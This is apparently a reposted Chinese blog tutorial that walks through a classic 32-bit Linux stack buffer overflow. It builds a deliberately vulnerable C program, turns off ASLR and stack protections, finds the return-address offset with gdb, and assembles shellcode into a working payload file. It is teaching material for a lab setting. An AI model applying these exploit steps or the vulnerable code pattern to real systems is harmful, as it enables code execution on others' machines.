缓冲区溢出攻击实践

缓冲区溢出攻击实践缓冲区溢出攻击方法是黑客入门的基础,本文以一个具体的实例一步步介绍如何进行最初级的缓冲区溢出攻击。

大家好,又见面了,我是你们的朋友全栈君。

缓冲区溢出攻击方法是黑客入门的基础,本文以具体实例一步步介绍如何进行最初级的缓冲区溢出攻击。


攻击前准备

本文介绍的利用方法是最原始的方法,高版本Linux已启用数据执行保护和地址随机化安全特性防止这种初级的利用方法。为了向大家展示这种攻击方法,需要做如下的事情:

禁止地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space

系统支持编译32位的应用程序和运行库:

示例代码


为了直接展示缓冲区漏洞攻击方法,我们省掉了与网络相关的部分,而是直接编写一个带栈缓冲区溢出的代码:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buf[32];
        FILE *fp;

        fp = fopen("bad.txt", "r");
        if (!fp) {
                perror("fopen");
                return 1;
        }

        fread(buf, 1024, 1, fp);
        printf("data: %s\n", buf);

        return 0;
}

示例代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
下文就是这个程序作为漏洞代码,一步步剖析如何攻击。

编译程序

gcc -Wall -g -fno-stack-protector  -o stack1 stack1.c -m32 -Wl,-zexecstack

笔者的Linux操作系统是64位的Ubuntu操作系统(12.04),该系统已支持数据执行保护功能和栈溢出检测功能。因此,使用-fno-stack-protector选项禁用栈溢出检测功能,-m32选项指定生成32位应用程序,-Wl,-zexecstack选项支持栈段可执行。

如果是32位Linux可以直接编译:gcc -Wall -g  -o stack1 stack1.c

尝试修改EIP,控制执行路径

那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?

buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。

为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.

为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:

输出30个’A’字符
$ perl -e ‘printf “A”x30’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

输出30个’A’字符,后追加4个’B’字符
$ perl -e ‘printf “A”x30 . “B”x4’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

尝试的方法很简单,EIP前的空间使用’A’填充,而EIP使用’BBBB’填充,使用两种不同的字母是为了方便找到边界。
目前知道buf大小为32个字符,可以先尝试填充32个’A’和追加’BBBB’,如果程序没有出现segment fault,则每次增加’A’字符4个,直到程序segment fault。如果 ‘BBBB’刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。

我机器上的测试过程:

$ perl -e ‘printf “A”x32 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成输出乱码,但没有segment fault

$ perl -e ‘printf “A”x36 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault

$ perl -e ‘printf “A”x40 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault

$ perl -e ‘printf “A”x44 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
输出乱码,但没有segment fault

$ perl -e ‘printf “A”x48 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
产生segment fault.

使用调试工具gdb分析此时的eip是否为0x4244242
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 6043]

warning: Can’t read pathname for load map: Input/output error.
Core was generated by `./stack1′.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register eip
eip            0x42424242       0x42424242


分析core文件,发现eip被写成’BBBB’,注入内容中的’BBBB’刚才对准了栈中存放EIP的位置。

找到EIP位置,离成功迈进了一大步。

注入执行代码

控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。

通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出”FUCK”字符串,然后程序退出。

为了简单起引, 我们shellcode就相当于下面两句C语言的效果:
write(1, “FUCK\n”, 5);
exit(0);

在Linux里面,上面两个C语可通过两次系统调用(调用号分别为4和1)实现。

下面32位x86的汇编代码shell1.s:

start:xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edx   ; 寄存器清零mov bl, 1add esp, string - start ; 调整esp指向字符串mov  ecx, espmov  dl, 5mov al, 4int 0x80                ;write(1, "FUNC\n", 5)mov al, 1mov bl, 1dec blint 0x80                ; exit(0)string:db "FUCK",0xa

接着做编译和反编译

编译命令:nasm -o shell1 shell1.s

反编译命令: ndisasm shell1


反编译结果如下:
00000000  31C0              xor ax,ax
00000002  31DB              xor bx,bx
00000004  31C9              xor cx,cx
00000006  31D2              xor dx,dx
00000008  B301              mov bl,0x1
0000000A  83C41D            add sp,byte +0x1d
0000000D  89E1              mov cx,sp
0000000F  B205              mov dl,0x5
00000011  B004              mov al,0x4
00000013  CD80              int 0x80
00000015  B001              mov al,0x1
00000017  B301              mov bl,0x1
00000019  FECB              dec bl
0000001B  CD80              int 0x80
0000001D  46                inc si
0000001E  55                push bp
0000001F  43                inc bx
00000020  4B                dec bx
00000021  0A                db 0x0a

根上述反编译出来的字节码,使用如下的perl命令来生成:

perl -e ‘printf “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘

那么,将之前测试的那段注入内容拼在一块,生成的命令如下:
perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt

打通任督二脉

上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。

很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。

$ perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                             ▒/▒▒
Segmentation fault (core dumped)

$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 7399]

warning: Can’t read pathname for load map: Input/output error.
Core was generated by `./stack1′.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register esp
esp            0xffffd710       0xffffd710


esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为”\x10\xd7\xff\xff”

所以将EIP原来的注入值’BBBB’变成“\x10\xd7\xff\xff”即可。再次测试:

$ perl -e ‘printf “A”x48 .“\x10\xd7\xff\xff” . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                              ▒/▒▒
FUCK

成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.

小结

这里没有任何魔术手法,完全是利用缓冲区溢出漏洞,控制程序执行用户注入的一段shellcode。是否要动手试试,那赶快吧,但不同的机器,EIP对准的位置是不一样的,请大家测试时注意。

本文介绍的是最古老(10+前年)的攻击技术,当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在操作系统默认启用地址随机化功能,很难猜测到EIP注入的地址。

但这里技术,都不妨碍我们学习最古老的攻击技术;后面的文章会沿着攻防的思路,介绍保护机制以及新一轮的攻击技术。

============= 回顾一下本系列文章 ==============

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/157989.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • URL转码与解码

    URL转码与解码classUrlUtil publicstatic String args throwsUnsupp Stringres getURLEncode books 测试分享 page 依赖的第三方系统分享 System out println res res getURLDecode res Syst

    2025年8月8日
    3
  • AD PCBlayout 总结[通俗易懂]

    AD PCBlayout 总结[通俗易懂]PCBlayout总结1、关于规则注:多个规则存在时需要设置规则的优先级,如:(1)poly和keepout之间的clearance规则定义2、关于走线拐角PCB走线中不能出现锐角和直角,而且走线也不能和IC的PIN脚垂直首先不光是天线的布线不走锐角,在布线中最好都不走锐角,只是天线的布线尤为重要。1、对于高频电流来说,当导线的拐弯处呈现直角甚至锐角时,在靠近弯角的部位,磁通密度及电场强度都比较高,会辐射较强的电磁波,而且…

    2025年7月4日
    3
  • 预写式日志(Write-Ahead Logging (WAL))

    预写式日志(Write-Ahead Logging (WAL))

    2021年11月25日
    43
  • c++实现stack_c语言输出栈中所有元素

    c++实现stack_c语言输出栈中所有元素栈是数据结构中较为简单的结构体,是一种操作收到限制的线性表.但简单不代表没用,毕竟数组还贼简单呢.谁敢说数组没用?栈栈的理论栈是一个先进后出的结构,类似于堆盘子,先放到地上的盘子最后被取走(默认只能取走一个盘子)栈其实就是操作受限的线性表,只有一个口,每一次操作时,这个口可以当出口也可以当入口.例如:水桶,注入水时,水桶的头当做入口,倒水时,水桶的头当做出口栈的图解.在图解之前,先举一个例…

    2025年9月20日
    7
  • linux系统组成及结构[通俗易懂]

    linux系统组成及结构[通俗易懂]Linux系统一般有4个主要部分:内核、shell、文件系统和应用程序。内核、shell和文件系统一起形成了基本的操作系统结构,它们使得用户可以运行程序、管理文件并使用系统。部分层次结构如图1-1所示。1.linux内核内核是操作系统的核心,具有很多最基本功能,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。Lin…

    2022年7月15日
    27
  • Java 删除文件 被占用 已解决

    Java 删除文件 被占用 已解决我一直在使用一段特定的代码来删除文件夹中的文件,但事实证明它很成问题,因为我可能忘了关闭一两个InputStream.我的代码是如此之大,以至于我无法看到所有未关闭的输入流.有没有办法删除文件是否有一个打开的InputStream?解决方法:简单粗暴有效Filefin=newFile(“C:/ABCStatementsfinal/”);File[]finlist…

    2022年6月3日
    36

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号